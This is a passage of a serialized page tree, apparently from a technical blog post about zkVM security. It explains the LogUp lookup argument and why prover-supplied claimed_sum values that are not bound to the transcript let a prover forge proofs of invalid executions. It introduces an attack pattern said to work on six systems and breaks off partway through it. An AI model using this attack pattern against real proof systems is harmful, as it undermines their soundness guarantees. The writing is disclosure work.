children":113349},{"className":113346,"style":113348},[113347],"frac-line","border-bottom-width:0.04em;",[],{"type":23,"tag":41,"props":113351,"children":113353},{"style":113352},"top:-3.394em;",[113354,113358],{"type":23,"tag":41,"props":113355,"children":113357},{"className":113356,"style":111936},[4052],[],{"type":23,"tag":41,"props":113359,"children":113361},{"className":113360},[4058,4059,4060,4061],[113362],{"type":23,"tag":41,"props":113363,"children":113365},{"className":113364},[4012,4061],[113366],{"type":23,"tag":41,"props":113367,"children":113369},{"className":113368},[4012,4061],[113370],{"type":28,"value":317},{"type":23,"tag":41,"props":113372,"children":113374},{"className":113373},[21731],[113375],{"type":28,"value":21734},{"type":23,"tag":41,"props":113377,"children":113379},{"className":113378},[4038],[113380],{"type":23,"tag":41,"props":113381,"children":113384},{"className":113382,"style":113383},[4043],"height:0.4033em;",[113385],{"type":23,"tag":41,"props":113386,"children":113387},{},[],{"type":23,"tag":41,"props":113389,"children":113391},{"className":113390},[21725,113283],[],{"type":23,"tag":41,"props":113393,"children":113395},{"className":113394,"style":4190},[4092],[],{"type":23,"tag":41,"props":113397,"children":113399},{"className":113398},[4195],[113400],{"type":28,"value":2381},{"type":23,"tag":41,"props":113402,"children":113404},{"className":113403,"style":4190},[4092],[],{"type":23,"tag":41,"props":113406,"children":113408},{"className":113407},[4001],[113409,113413,113485,113489],{"type":23,"tag":41,"props":113410,"children":113412},{"className":113411,"style":113197},[4006],[],{"type":23,"tag":41,"props":113414,"children":113416},{"className":113415},[21610],[113417,113422],{"type":23,"tag":41,"props":113418,"children":113420},{"className":113419,"style":21617},[21610,21615,21616],[113421],{"type":28,"value":108560},{"type":23,"tag":41,"props":113423,"children":113425},{"className":113424},[4028],[113426],{"type":23,"tag":41,"props":113427,"children":113429},{"className":113428},[4033,21628],[113430,113474],{"type":23,"tag":41,"props":113431,"children":113433},{"className":113432},[4038],[113434,113469],{"type":23,"tag":41,"props":113435,"children":113438},{"className":113436,"style":113437},[4043],"height:0.1864em;",[113439],{"type":23,"tag":41,"props":113440,"children":113441},{"style":21641},[113442,113446],{"type":23,"tag":41,"props":113443,"children":113445},{"className":113444,"style":4053},[4052],[],{"type":23,"tag":41,"props":113447,"children":113449},{"className":113448},[4058,4059,4060,4061],[113450],{"type":23,"tag":41,"props":113451,"children":113453},{"className":113452},[4012,4061],[113454,113459,113464],{"type":23,"tag":41,"props":113455,"children":113457},{"className":113456},[4012,21574,4061],[113458],{"type":28,"value":3222},{"type":23,"tag":41,"props":113460,"children":113462},{"className":113461},[4195,4061],[113463],{"type":28,"value":21681},{"type":23,"tag":41,"props":113465,"children":113467},{"className":113466,"style":113169},[4012,21574,4061],[113468],{"type":28,"value":113172},{"type":23,"tag":41,"props":113470,"children":113472},{"className":113471},[21731],[113473],{"type":28,"value":21734},{"type":23,"tag":41,"props":113475,"children":113477},{"className":113476},[4038],[113478],{"type":23,"tag":41,"props":113479,"children":113481},{"className":113480,"style":113267},[4043],[113482],{"type":23,"tag":41,"props":113483,"children":113484},{},[],{"type":23,"tag":41,"props":113486,"children":113488},{"className":113487,"style":4131},[4092],[],{"type":23,"tag":41,"props":113490,"children":113492},{"className":113491},[4012],[113493,113497,113590],{"type":23,"tag":41,"props":113494,"children":113496},{"className":113495},[21703,113283],[],{"type":23,"tag":41,"props":113498,"children":113500},{"className":113499},[113288],[113501],{"type":23,"tag":41,"props":113502,"children":113504},{"className":113503},[4033,21628],[113505,113579],{"type":23,"tag":41,"props":113506,"children":113508},{"className":113507},[4038],[113509,113574],{"type":23,"tag":41,"props":113510,"children":113512},{"className":113511,"style":113301},[4043],[113513,113543,113554],{"type":23,"tag":41,"props":113514,"children":113515},{"style":113305},[113516,113520],{"type":23,"tag":41,"props":113517,"children":113519},{"className":113518,"style":111936},[4052],[],{"type":23,"tag":41,"props":113521,"children":113523},{"className":113522},[4058,4059,4060,4061],[113524],{"type":23,"tag":41,"props":113525,"children":113527},{"className":113526},[4012,4061],[113528,113533,113538],{"type":23,"tag":41,"props":113529,"children":113531},{"className":113530,"style":113322},[4012,21574,4061],[113532],{"type":28,"value":113325},{"type":23,"tag":41,"props":113534,"children":113536},{"className":113535},[4098,4061],[113537],{"type":28,"value":4072},{"type":23,"tag":41,"props":113539,"children":113541},{"className":113540},[4012,21574,4061],[113542],{"type":28,"value":3222},{"type":23,"tag":41,"props":113544,"children":113545},{"style":113338},[113546,113550],{"type":23,"tag":41,"props":113547,"children":113549},{"className":113548,"style":111936},[4052],[],{"type":23,"tag":41,"props":113551,"children":113553},{"className":113552,"style":113348},[113347],[],{"type":23,"tag":41,"props":113555,"children":113556},{"style":113352},[113557,113561],{"type":23,"tag":41,"props":113558,"children":113560},{"className":113559,"style":111936},[4052],[],{"type":23,"tag":41,"props":113562,"children":113564},{"className":113563},[4058,4059,4060,4061],[113565],{"type":23,"tag":41,"props":113566,"children":113568},{"className":113567},[4012,4061],[113569],{"type":23,"tag":41,"props":113570,"children":113572},{"className":113571},[4012,4061],[113573],{"type":28,"value":317},{"type":23,"tag":41,"props":113575,"children":113577},{"className":113576},[21731],[113578],{"type":28,"value":21734},{"type":23,"tag":41,"props":113580,"children":113582},{"className":113581},[4038],[113583],{"type":23,"tag":41,"props":113584,"children":113586},{"className":113585,"style":113383},[4043],[113587],{"type":23,"tag":41,"props":113588,"children":113589},{},[],{"type":23,"tag":41,"props":113591,"children":113593},{"className":113592},[21725,113283],[],{"type":23,"tag":24,"props":113595,"children":113596},{},[113597,113599,113624],{"type":28,"value":113598},"for random challenge ",{"type":23,"tag":37,"props":113600,"children":113602},{"className":113601},[3984,3985],[113603],{"type":23,"tag":41,"props":113604,"children":113606},{"className":113605},[3990],[113607],{"type":23,"tag":41,"props":113608,"children":113610},{"className":113609,"ariaHidden":3996},[3995],[113611],{"type":23,"tag":41,"props":113612,"children":113614},{"className":113613},[4001],[113615,113619],{"type":23,"tag":41,"props":113616,"children":113618},{"className":113617,"style":110606},[4006],[],{"type":23,"tag":41,"props":113620,"children":113622},{"className":113621,"style":113322},[4012,21574],[113623],{"type":28,"value":113325},{"type":28,"value":113625},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":23,"tag":24,"props":113627,"children":113628},{},[113629,113634],{"type":23,"tag":510,"props":113630,"children":113631},{},[113632],{"type":28,"value":113633},"In zkVMs:",{"type":28,"value":113635}," Different components emit and consume lookup tuples:",{"type":23,"tag":417,"props":113637,"children":113638},{},[113639,113726],{"type":23,"tag":421,"props":113640,"children":113641},{},[113642,113644,113670,113672,113697,113699,113725],{"type":28,"value":113643},"CPU emits: \"I read value ",{"type":23,"tag":37,"props":113645,"children":113647},{"className":113646},[3984,3985],[113648],{"type":23,"tag":41,"props":113649,"children":113651},{"className":113650},[3990],[113652],{"type":23,"tag":41,"props":113653,"children":113655},{"className":113654,"ariaHidden":3996},[3995],[113656],{"type":23,"tag":41,"props":113657,"children":113659},{"className":113658},[4001],[113660,113664],{"type":23,"tag":41,"props":113661,"children":113663},{"className":113662,"style":110606},[4006],[],{"type":23,"tag":41,"props":113665,"children":113667},{"className":113666,"style":93251},[4012,21574],[113668],{"type":28,"value":113669},"v",{"type":28,"value":113671}," from address ",{"type":23,"tag":37,"props":113673,"children":113675},{"className":113674},[3984,3985],[113676],{"type":23,"tag":41,"props":113677,"children":113679},{"className":113678},[3990],[113680],{"type":23,"tag":41,"props":113681,"children":113683},{"className":113682,"ariaHidden":3996},[3995],[113684],{"type":23,"tag":41,"props":113685,"children":113687},{"className":113686},[4001],[113688,113692],{"type":23,"tag":41,"props":113689,"children":113691},{"className":113690,"style":110606},[4006],[],{"type":23,"tag":41,"props":113693,"children":113695},{"className":113694},[4012,21574],[113696],{"type":28,"value":458},{"type":28,"value":113698}," at time ",{"type":23,"tag":37,"props":113700,"children":113702},{"className":113701},[3984,3985],[113703],{"type":23,"tag":41,"props":113704,"children":113706},{"className":113705},[3990],[113707],{"type":23,"tag":41,"props":113708,"children":113710},{"className":113709,"ariaHidden":3996},[3995],[113711],{"type":23,"tag":41,"props":113712,"children":113714},{"className":113713},[4001],[113715,113720],{"type":23,"tag":41,"props":113716,"children":113719},{"className":113717,"style":113718},[4006],"height:0.6151em;",[],{"type":23,"tag":41,"props":113721,"children":113723},{"className":113722},[4012,21574],[113724],{"type":28,"value":21716},{"type":28,"value":20048},{"type":23,"tag":421,"props":113727,"children":113728},{},[113729,113731,113756,113758,113783,113785,113810],{"type":28,"value":113730},"Memory table consumes: \"At time ",{"type":23,"tag":37,"props":113732,"children":113734},{"className":113733},[3984,3985],[113735],{"type":23,"tag":41,"props":113736,"children":113738},{"className":113737},[3990],[113739],{"type":23,"tag":41,"props":113740,"children":113742},{"className":113741,"ariaHidden":3996},[3995],[113743],{"type":23,"tag":41,"props":113744,"children":113746},{"className":113745},[4001],[113747,113751],{"type":23,"tag":41,"props":113748,"children":113750},{"className":113749,"style":113718},[4006],[],{"type":23,"tag":41,"props":113752,"children":113754},{"className":113753},[4012,21574],[113755],{"type":28,"value":21716},{"type":28,"value":113757},", address ",{"type":23,"tag":37,"props":113759,"children":113761},{"className":113760},[3984,3985],[113762],{"type":23,"tag":41,"props":113763,"children":113765},{"className":113764},[3990],[113766],{"type":23,"tag":41,"props":113767,"children":113769},{"className":113768,"ariaHidden":3996},[3995],[113770],{"type":23,"tag":41,"props":113771,"children":113773},{"className":113772},[4001],[113774,113778],{"type":23,"tag":41,"props":113775,"children":113777},{"className":113776,"style":110606},[4006],[],{"type":23,"tag":41,"props":113779,"children":113781},{"className":113780},[4012,21574],[113782],{"type":28,"value":458},{"type":28,"value":113784}," contained ",{"type":23,"tag":37,"props":113786,"children":113788},{"className":113787},[3984,3985],[113789],{"type":23,"tag":41,"props":113790,"children":113792},{"className":113791},[3990],[113793],{"type":23,"tag":41,"props":113794,"children":113796},{"className":113795,"ariaHidden":3996},[3995],[113797],{"type":23,"tag":41,"props":113798,"children":113800},{"className":113799},[4001],[113801,113805],{"type":23,"tag":41,"props":113802,"children":113804},{"className":113803,"style":110606},[4006],[],{"type":23,"tag":41,"props":113806,"children":113808},{"className":113807,"style":93251},[4012,21574],[113809],{"type":28,"value":113669},{"type":28,"value":20048},{"type":23,"tag":24,"props":113812,"children":113813},{},[113814],{"type":28,"value":113815},"If everything balances, the execution is consistent.",{"type":23,"tag":24,"props":113817,"children":113818},{},[113819,113824],{"type":23,"tag":510,"props":113820,"children":113821},{},[113822],{"type":28,"value":113823},"The claimed_sum:",{"type":28,"value":113825}," Each component computes its contribution to the LogUp sum:",{"type":23,"tag":24,"props":113827,"children":113828},{},[113829],{"type":23,"tag":37,"props":113830,"children":113832},{"className":113831},[3984,3985],[113833],{"type":23,"tag":41,"props":113834,"children":113836},{"className":113835},[3990],[113837],{"type":23,"tag":41,"props":113838,"children":113840},{"className":113839,"ariaHidden":3996},[3995],[113841,113939,114190],{"type":23,"tag":41,"props":113842,"children":113844},{"className":113843},[4001],[113845,113849,113859,113864,113926,113930,113935],{"type":23,"tag":41,"props":113846,"children":113848},{"className":113847,"style":94178},[4006],[],{"type":23,"tag":41,"props":113850,"children":113852},{"className":113851},[4012,28],[113853],{"type":23,"tag":41,"props":113854,"children":113856},{"className":113855},[4012],[113857],{"type":28,"value":113858},"claimed",{"type":23,"tag":41,"props":113860,"children":113862},{"className":113861,"style":92765},[4012],[113863],{"type":28,"value":3084},{"type":23,"tag":41,"props":113865,"children":113867},{"className":113866},[4012],[113868,113877],{"type":23,"tag":41,"props":113869,"children":113871},{"className":113870},[4012,28],[113872],{"type":23,"tag":41,"props":113873,"children":113875},{"className":113874},[4012],[113876],{"type":28,"value":76627},{"type":23,"tag":41,"props":113878,"children":113880},{"className":113879},[4028],[113881],{"type":23,"tag":41,"props":113882,"children":113884},{"className":113883},[4033,21628],[113885,113915],{"type":23,"tag":41,"props":113886,"children":113888},{"className":113887},[4038],[113889,113910],{"type":23,"tag":41,"props":113890,"children":113892},{"className":113891,"style":93294},[4043],[113893],{"type":23,"tag":41,"props":113894,"children":113896},{"style":113895},"top:-2.55em;margin-right:0.05em;",[113897,113901],{"type":23,"tag":41,"props":113898,"children":113900},{"className":113899,"style":4053},[4052],[],{"type":23,"tag":41,"props":113902,"children":113904},{"className":113903},[4058,4059,4060,4061],[113905],{"type":23,"tag":41,"props":113906,"children":113908},{"className":113907},[4012,21574,4061],[113909],{"type":28,"value":3737},{"type":23,"tag":41,"props":113911,"children":113913},{"className":113912},[21731],[113914],{"type":28,"value":21734},{"type":23,"tag":41,"props":113916,"children":113918},{"className":113917},[4038],[113919],{"type":23,"tag":41,"props":113920,"children":113922},{"className":113921,"style":92848},[4043],[113923],{"type":23,"tag":41,"props":113924,"children":113925},{},[],{"type":23,"tag":41,"props":113927,"children":113929},{"className":113928,"style":4190},[4092],[],{"type":23,"tag":41,"props":113931,"children":113933},{"className":113932},[4195],[113934],{"type":28,"value":2381},{"type":23,"tag":41,"props":113936,"children":113938},{"className":113937,"style":4190},[4092],[],{"type":23,"tag":41,"props":113940,"children":113942},{"className":113941},[4001],[113943,113948,114008,114012,114177,114181,114186],{"type":23,"tag":41,"props":113944,"children":113947},{"className":113945,"style":113946},[4006],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":23,"tag":41,"props":113949,"children":113951},{"className":113950},[21610],[113952,113957],{"type":23,"tag":41,"props":113953,"children":113955},{"className":113954,"style":21617},[21610,21615,21616],[113956],{"type":28,"value":108560},{"type":23,"tag":41,"props":113958,"children":113960},{"className":113959},[4028],[113961],{"type":23,"tag":41,"props":113962,"children":113964},{"className":113963},[4033,21628],[113965,113996],{"type":23,"tag":41,"props":113966,"children":113968},{"className":113967},[4038],[113969,113991],{"type":23,"tag":41,"props":113970,"children":113973},{"className":113971,"style":113972},[4043],"height:0.162em;",[113974],{"type":23,"tag":41,"props":113975,"children":113976},{"style":21641},[113977,113981],{"type":23,"tag":41,"props":113978,"children":113980},{"className":113979,"style":4053},[4052],[],{"type":23,"tag":41,"props":113982,"children":113984},{"className":113983},[4058,4059,4060,4061],[113985],{"type":23,"tag":41,"props":113986,"children":113989},{"className":113987,"style":113988},[4012,21574,4061],"margin-right:0.05724em;",[113990],{"type":28,"value":8654},{"type":23,"tag":41,"props":113992,"children":113994},{"className":113993},[21731],[113995],{"type":28,"value":21734},{"type":23,"tag":41,"props":113997,"children":113999},{"className":113998},[4038],[114000],{"type":23,"tag":41,"props":114001,"children":114004},{"className":114002,"style":114003},[4043],"height:0.4358em;",[114005],{"type":23,"tag":41,"props":114006,"children":114007},{},[],{"type":23,"tag":41,"props":114009,"children":114011},{"className":114010,"style":4131},[4092],[],{"type":23,"tag":41,"props":114013,"children":114015},{"className":114014},[4012],[114016,114020,114173],{"type":23,"tag":41,"props":114017,"children":114019},{"className":114018},[21703,113283],[],{"type":23,"tag":41,"props":114021,"children":114023},{"className":114022},[113288],[114024],{"type":23,"tag":41,"props":114025,"children":114027},{"className":114026},[4033,21628],[114028,114161],{"type":23,"tag":41,"props":114029,"children":114031},{"className":114030},[4038],[114032,114156],{"type":23,"tag":41,"props":114033,"children":114035},{"className":114034,"style":113301},[4043],[114036,114125,114136],{"type":23,"tag":41,"props":114037,"children":114038},{"style":113305},[114039,114043],{"type":23,"tag":41,"props":114040,"children":114042},{"className":114041,"style":111936},[4052],[],{"type":23,"tag":41,"props":114044,"children":114046},{"className":114045},[4058,4059,4060,4061],[114047],{"type":23,"tag":41,"props":114048,"children":114050},{"className":114049},[4012,4061],[114051,114056,114061],{"type":23,"tag":41,"props":114052,"children":114054},{"className":114053,"style":113322},[4012,21574,4061],[114055],{"type":28,"value":113325},{"type":23,"tag":41,"props":114057,"children":114059},{"className":114058},[4098,4061],[114060],{"type":28,"value":4072},{"type":23,"tag":41,"props":114062,"children":114064},{"className":114063},[4012,4061],[114065,114074],{"type":23,"tag":41,"props":114066,"children":114068},{"className":114067},[4012,28,4061],[114069],{"type":23,"tag":41,"props":114070,"children":114072},{"className":114071},[4012,4061],[114073],{"type":28,"value":62003},{"type":23,"tag":41,"props":114075,"children":114077},{"className":114076},[4028],[114078],{"type":23,"tag":41,"props":114079,"children":114081},{"className":114080},[4033,21628],[114082,114113],{"type":23,"tag":41,"props":114083,"children":114085},{"className":114084},[4038],[114086,114108],{"type":23,"tag":41,"props":114087,"children":114090},{"className":114088,"style":114089},[4043],"height:0.3281em;",[114091],{"type":23,"tag":41,"props":114092,"children":114094},{"style":114093},"top:-2.357em;margin-right:0.0714em;",[114095,114099],{"type":23,"tag":41,"props":114096,"children":114098},{"className":114097,"style":108625},[4052],[],{"type":23,"tag":41,"props":114100,"children":114102},{"className":114101},[4058,108630,108631,4061],[114103],{"type":23,"tag":41,"props":114104,"children":114106},{"className":114105,"style":113988},[4012,21574,4061],[114107],{"type":28,"value":8654},{"type":23,"tag":41,"props":114109,"children":114111},{"className":114110},[21731],[114112],{"type":28,"value":21734},{"type":23,"tag":41,"props":114114,"children":114116},{"className":114115},[4038],[114117],{"type":23,"tag":41,"props":114118,"children":114121},{"className":114119,"style":114120},[4043],"height:0.2819em;",[114122],{"type":23,"tag":41,"props":114123,"children":114124},{},[],{"type":23,"tag":41,"props":114126,"children":114127},{"style":113338},[114128,114132],{"type":23,"tag":41,"props":114129,"children":114131},{"className":114130,"style":111936},[4052],[],{"type":23,"tag":41,"props":114133,"children":114135},{"className":114134,"style":113348},[113347],[],{"type":23,"tag":41,"props":114137,"children":114138},{"style":113352},[114139,114143],{"type":23,"tag":41,"props":114140,"children":114142},{"className":114141,"style":111936},[4052],[],{"type":23,"tag":41,"props":114144,"children":114146},{"className":114145},[4058,4059,4060,4061],[114147],{"type":23,"tag":41,"props":114148,"children":114150},{"className":114149},[4012,4061],[114151],{"type":23,"tag":41,"props":114152,"children":114154},{"className":114153},[4012,4061],[114155],{"type":28,"value":317},{"type":23,"tag":41,"props":114157,"children":114159},{"className":114158},[21731],[114160],{"type":28,"value":21734},{"type":23,"tag":41,"props":114162,"children":114164},{"className":114163},[4038],[114165],{"type":23,"tag":41,"props":114166,"children":114169},{"className":114167,"style":114168},[4043],"height:0.5423em;",[114170],{"type":23,"tag":41,"props":114171,"children":114172},{},[],{"type":23,"tag":41,"props":114174,"children":114176},{"className":114175},[21725,113283],[],{"type":23,"tag":41,"props":114178,"children":114180},{"className":114179,"style":4093},[4092],[],{"type":23,"tag":41,"props":114182,"children":114184},{"className":114183},[4098],[114185],{"type":28,"value":4072},{"type":23,"tag":41,"props":114187,"children":114189},{"className":114188,"style":4093},[4092],[],{"type":23,"tag":41,"props":114191,"children":114193},{"className":114192},[4001],[114194,114199,114257,114261],{"type":23,"tag":41,"props":114195,"children":114198},{"className":114196,"style":114197},[4006],"height:1.296em;vertical-align:-0.4509em;",[],{"type":23,"tag":41,"props":114200,"children":114202},{"className":114201},[21610],[114203,114208],{"type":23,"tag":41,"props":114204,"children":114206},{"className":114205,"style":21617},[21610,21615,21616],[114207],{"type":28,"value":108560},{"type":23,"tag":41,"props":114209,"children":114211},{"className":114210},[4028],[114212],{"type":23,"tag":41,"props":114213,"children":114215},{"className":114214},[4033,21628],[114216,114245],{"type":23,"tag":41,"props":114217,"children":114219},{"className":114218},[4038],[114220,114240],{"type":23,"tag":41,"props":114221,"children":114223},{"className":114222,"style":113437},[4043],[114224],{"type":23,"tag":41,"props":114225,"children":114226},{"style":21641},[114227,114231],{"type":23,"tag":41,"props":114228,"children":114230},{"className":114229,"style":4053},[4052],[],{"type":23,"tag":41,"props":114232,"children":114234},{"className":114233},[4058,4059,4060,4061],[114235],{"type":23,"tag":41,"props":114236,"children":114238},{"className":114237,"style":94194},[4012,21574,4061],[114239],{"type":28,"value":88678},{"type":23,"tag":41,"props":114241,"children":114243},{"className":114242},[21731],[114244],{"type":28,"value":21734},{"type":23,"tag":41,"props":114246,"children":114248},{"className":114247},[4038],[114249],{"type":23,"tag":41,"props":114250,"children":114253},{"className":114251,"style":114252},[4043],"height:0.2997em;",[114254],{"type":23,"tag":41,"props":114255,"children":114256},{},[],{"type":23,"tag":41,"props":114258,"children":114260},{"className":114259,"style":4131},[4092],[],{"type":23,"tag":41,"props":114262,"children":114264},{"className":114263},[4012],[114265,114269,114422],{"type":23,"tag":41,"props":114266,"children":114268},{"className":114267},[21703,113283],[],{"type":23,"tag":41,"props":114270,"children":114272},{"className":114271},[113288],[114273],{"type":23,"tag":41,"props":114274,"children":114276},{"className":114275},[4033,21628],[114277,114410],{"type":23,"tag":41,"props":114278,"children":114280},{"className":114279},[4038],[114281,114405],{"type":23,"tag":41,"props":114282,"children":114284},{"className":114283,"style":113301},[4043],[114285,114374,114385],{"type":23,"tag":41,"props":114286,"children":114287},{"style":113305},[114288,114292],{"type":23,"tag":41,"props":114289,"children":114291},{"className":114290,"style":111936},[4052],[],{"type":23,"tag":41,"props":114293,"children":114295},{"className":114294},[4058,4059,4060,4061],[114296],{"type":23,"tag":41,"props":114297,"children":114299},{"className":114298},[4012,4061],[114300,114305,114310],{"type":23,"tag":41,"props":114301,"children":114303},{"className":114302,"style":113322},[4012,21574,4061],[114304],{"type":28,"value":113325},{"type":23,"tag":41,"props":114306,"children":114308},{"className":114307},[4098,4061],[114309],{"type":28,"value":4072},{"type":23,"tag":41,"props":114311,"children":114313},{"className":114312},[4012,4061],[114314,114324],{"type":23,"tag":41,"props":114315,"children":114317},{"className":114316},[4012,28,4061],[114318],{"type":23,"tag":41,"props":114319,"children":114321},{"className":114320},[4012,4061],[114322],{"type":28,"value":114323},"consume",{"type":23,"tag":41,"props":114325,"children":114327},{"className":114326},[4028],[114328],{"type":23,"tag":41,"props":114329,"children":114331},{"className":114330},[4033,21628],[114332,114362],{"type":23,"tag":41,"props":114333,"children":114335},{"className":114334},[4038],[114336,114357],{"type":23,"tag":41,"props":114337,"children":114339},{"className":114338,"style":112097},[4043],[114340],{"type":23,"tag":41,"props":114341,"children":114343},{"style":114342},"top:-2.3488em;margin-right:0.0714em;",[114344,114348],{"type":23,"tag":41,"props":114345,"children":114347},{"className":114346,"style":108625},[4052],[],{"type":23,"tag":41,"props":114349,"children":114351},{"className":114350},[4058,108630,108631,4061],[114352],{"type":23,"tag":41,"props":114353,"children":114355},{"className":114354,"style":94194},[4012,21574,4061],[114356],{"type":28,"value":88678},{"type":23,"tag":41,"props":114358,"children":114360},{"className":114359},[21731],[114361],{"type":28,"value":21734},{"type":23,"tag":41,"props":114363,"children":114365},{"className":114364},[4038],[114366],{"type":23,"tag":41,"props":114367,"children":114370},{"className":114368,"style":114369},[4043],"height:0.1512em;",[114371],{"type":23,"tag":41,"props":114372,"children":114373},{},[],{"type":23,"tag":41,"props":114375,"children":114376},{"style":113338},[114377,114381],{"type":23,"tag":41,"props":114378,"children":114380},{"className":114379,"style":111936},[4052],[],{"type":23,"tag":41,"props":114382,"children":114384},{"className":114383,"style":113348},[113347],[],{"type":23,"tag":41,"props":114386,"children":114387},{"style":113352},[114388,114392],{"type":23,"tag":41,"props":114389,"children":114391},{"className":114390,"style":111936},[4052],[],{"type":23,"tag":41,"props":114393,"children":114395},{"className":114394},[4058,4059,4060,4061],[114396],{"type":23,"tag":41,"props":114397,"children":114399},{"className":114398},[4012,4061],[114400],{"type":23,"tag":41,"props":114401,"children":114403},{"className":114402},[4012,4061],[114404],{"type":28,"value":317},{"type":23,"tag":41,"props":114406,"children":114408},{"className":114407},[21731],[114409],{"type":28,"value":21734},{"type":23,"tag":41,"props":114411,"children":114413},{"className":114412},[4038],[114414],{"type":23,"tag":41,"props":114415,"children":114418},{"className":114416,"style":114417},[4043],"height:0.4509em;",[114419],{"type":23,"tag":41,"props":114420,"children":114421},{},[],{"type":23,"tag":41,"props":114423,"children":114425},{"className":114424},[21725,113283],[],{"type":23,"tag":24,"props":114427,"children":114428},{},[114429,114431,114613],{"type":28,"value":114430},"The global check: ",{"type":23,"tag":37,"props":114432,"children":114434},{"className":114433},[3984,3985],[114435],{"type":23,"tag":41,"props":114436,"children":114438},{"className":114437},[3990],[114439],{"type":23,"tag":41,"props":114440,"children":114442},{"className":114441,"ariaHidden":3996},[3995],[114443,114600],{"type":23,"tag":41,"props":114444,"children":114446},{"className":114445},[4001],[114447,114451,114508,114512,114521,114526,114587,114591,114596],{"type":23,"tag":41,"props":114448,"children":114450},{"className":114449,"style":92707},[4006],[],{"type":23,"tag":41,"props":114452,"children":114454},{"className":114453},[21610],[114455,114460],{"type":23,"tag":41,"props":114456,"children":114458},{"className":114457,"style":21617},[21610,21615,21616],[114459],{"type":28,"value":108560},{"type":23,"tag":41,"props":114461,"children":114463},{"className":114462},[4028],[114464],{"type":23,"tag":41,"props":114465,"children":114467},{"className":114466},[4033,21628],[114468,114497],{"type":23,"tag":41,"props":114469,"children":114471},{"className":114470},[4038],[114472,114492],{"type":23,"tag":41,"props":114473,"children":114475},{"className":114474,"style":113972},[4043],[114476],{"type":23,"tag":41,"props":114477,"children":114478},{"style":21641},[114479,114483],{"type":23,"tag":41,"props":114480,"children":114482},{"className":114481,"style":4053},[4052],[],{"type":23,"tag":41,"props":114484,"children":114486},{"className":114485},[4058,4059,4060,4061],[114487],{"type":23,"tag":41,"props":114488,"children":114490},{"className":114489},[4012,21574,4061],[114491],{"type":28,"value":3737},{"type":23,"tag":41,"props":114493,"children":114495},{"className":114494},[21731],[114496],{"type":28,"value":21734},{"type":23,"tag":41,"props":114498,"children":114500},{"className":114499},[4038],[114501],{"type":23,"tag":41,"props":114502,"children":114504},{"className":114503,"style":114252},[4043],[114505],{"type":23,"tag":41,"props":114506,"children":114507},{},[],{"type":23,"tag":41,"props":114509,"children":114511},{"className":114510,"style":4131},[4092],[],{"type":23,"tag":41,"props":114513,"children":114515},{"className":114514},[4012,28],[114516],{"type":23,"tag":41,"props":114517,"children":114519},{"className":114518},[4012],[114520],{"type":28,"value":113858},{"type":23,"tag":41,"props":114522,"children":114524},{"className":114523,"style":92765},[4012],[114525],{"type":28,"value":3084},{"type":23,"tag":41,"props":114527,"children":114529},{"className":114528},[4012],[114530,114539],{"type":23,"tag":41,"props":114531,"children":114533},{"className":114532},[4012,28],[114534],{"type":23,"tag":41,"props":114535,"children":114537},{"className":114536},[4012],[114538],{"type":28,"value":76627},{"type":23,"tag":41,"props":114540,"children":114542},{"className":114541},[4028],[114543],{"type":23,"tag":41,"props":114544,"children":114546},{"className":114545},[4033,21628],[114547,114576],{"type":23,"tag":41,"props":114548,"children":114550},{"className":114549},[4038],[114551,114571],{"type":23,"tag":41,"props":114552,"children":114554},{"className":114553,"style":93294},[4043],[114555],{"type":23,"tag":41,"props":114556,"children":114557},{"style":113895},[114558,114562],{"type":23,"tag":41,"props":114559,"children":114561},{"className":114560,"style":4053},[4052],[],{"type":23,"tag":41,"props":114563,"children":114565},{"className":114564},[4058,4059,4060,4061],[114566],{"type":23,"tag":41,"props":114567,"children":114569},{"className":114568},[4012,21574,4061],[114570],{"type":28,"value":3737},{"type":23,"tag":41,"props":114572,"children":114574},{"className":114573},[21731],[114575],{"type":28,"value":21734},{"type":23,"tag":41,"props":114577,"children":114579},{"className":114578},[4038],[114580],{"type":23,"tag":41,"props":114581,"children":114583},{"className":114582,"style":92848},[4043],[114584],{"type":23,"tag":41,"props":114585,"children":114586},{},[],{"type":23,"tag":41,"props":114588,"children":114590},{"className":114589,"style":4190},[4092],[],{"type":23,"tag":41,"props":114592,"children":114594},{"className":114593},[4195],[114595],{"type":28,"value":2381},{"type":23,"tag":41,"props":114597,"children":114599},{"className":114598,"style":4190},[4092],[],{"type":23,"tag":41,"props":114601,"children":114603},{"className":114602},[4001],[114604,114608],{"type":23,"tag":41,"props":114605,"children":114607},{"className":114606,"style":93796},[4006],[],{"type":23,"tag":41,"props":114609,"children":114611},{"className":114610},[4012],[114612],{"type":28,"value":4024},{"type":28,"value":706},{"type":23,"tag":24,"props":114615,"children":114616},{},[114617,114622,114624,114630],{"type":23,"tag":510,"props":114618,"children":114619},{},[114620],{"type":28,"value":114621},"Why this is vulnerable:",{"type":28,"value":114623}," The ",{"type":23,"tag":37,"props":114625,"children":114627},{"className":114626},[],[114628],{"type":28,"value":114629},"claimed_sum",{"type":28,"value":114631}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":23,"tag":442,"props":114633,"children":114634},{},[],{"type":23,"tag":446,"props":114636,"children":114638},{"id":114637},"the-universal-attack-pattern",[114639],{"type":28,"value":114640},"The Universal Attack Pattern",{"type":23,"tag":24,"props":114642,"children":114643},{},[114644],{"type":28,"value":114645},"Now we can describe the attack pattern that works on all six systems:",{"type":23,"tag":24,"props":114647,"children":114648},{},[114649],{"type":23,"tag":3918,"props":114650,"children":114653},{"alt":114651,"src":114652},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":23,"tag":24,"props":114655,"children":114656},{},[114657,114659,114684],{"type":28,"value":114658},"When a value ",{"type":23,"tag":37,"props":114660,"children":114662},{"className":114661},[3984,3985],[114663],{"type":23,"tag":41,"props":114664,"children":114666},{"className":114665},[3990],[114667],{"type":23,"tag":41,"props":114668,"children":114670},{"className":114669,"ariaHidden":3996},[3995],[114671],{"type":23,"tag":41,"props":114672,"children":114674},{"className":114673},[4001],[114675,114679],{"type":23,"tag":41,"props":114676,"children":114678},{"className":114677,"style":21569},[4006],[],{"type":23,"tag":41,"props":114680,"children":114682},{"className":114681,"style":107963},[4012,21574],[114683],{"type":28,"value":108287},{"type":28,"value":114685}," isn't transcript-bound:",{"type":23,"tag":5436,"props":114687,"children":114688},{},[114689,114720,114797,114942],{"type":23,"tag":421,"props":114690,"children":114691},{},[114692,114694,114719],{"type":28,"value":114693},"Challenges are fixed (independent of 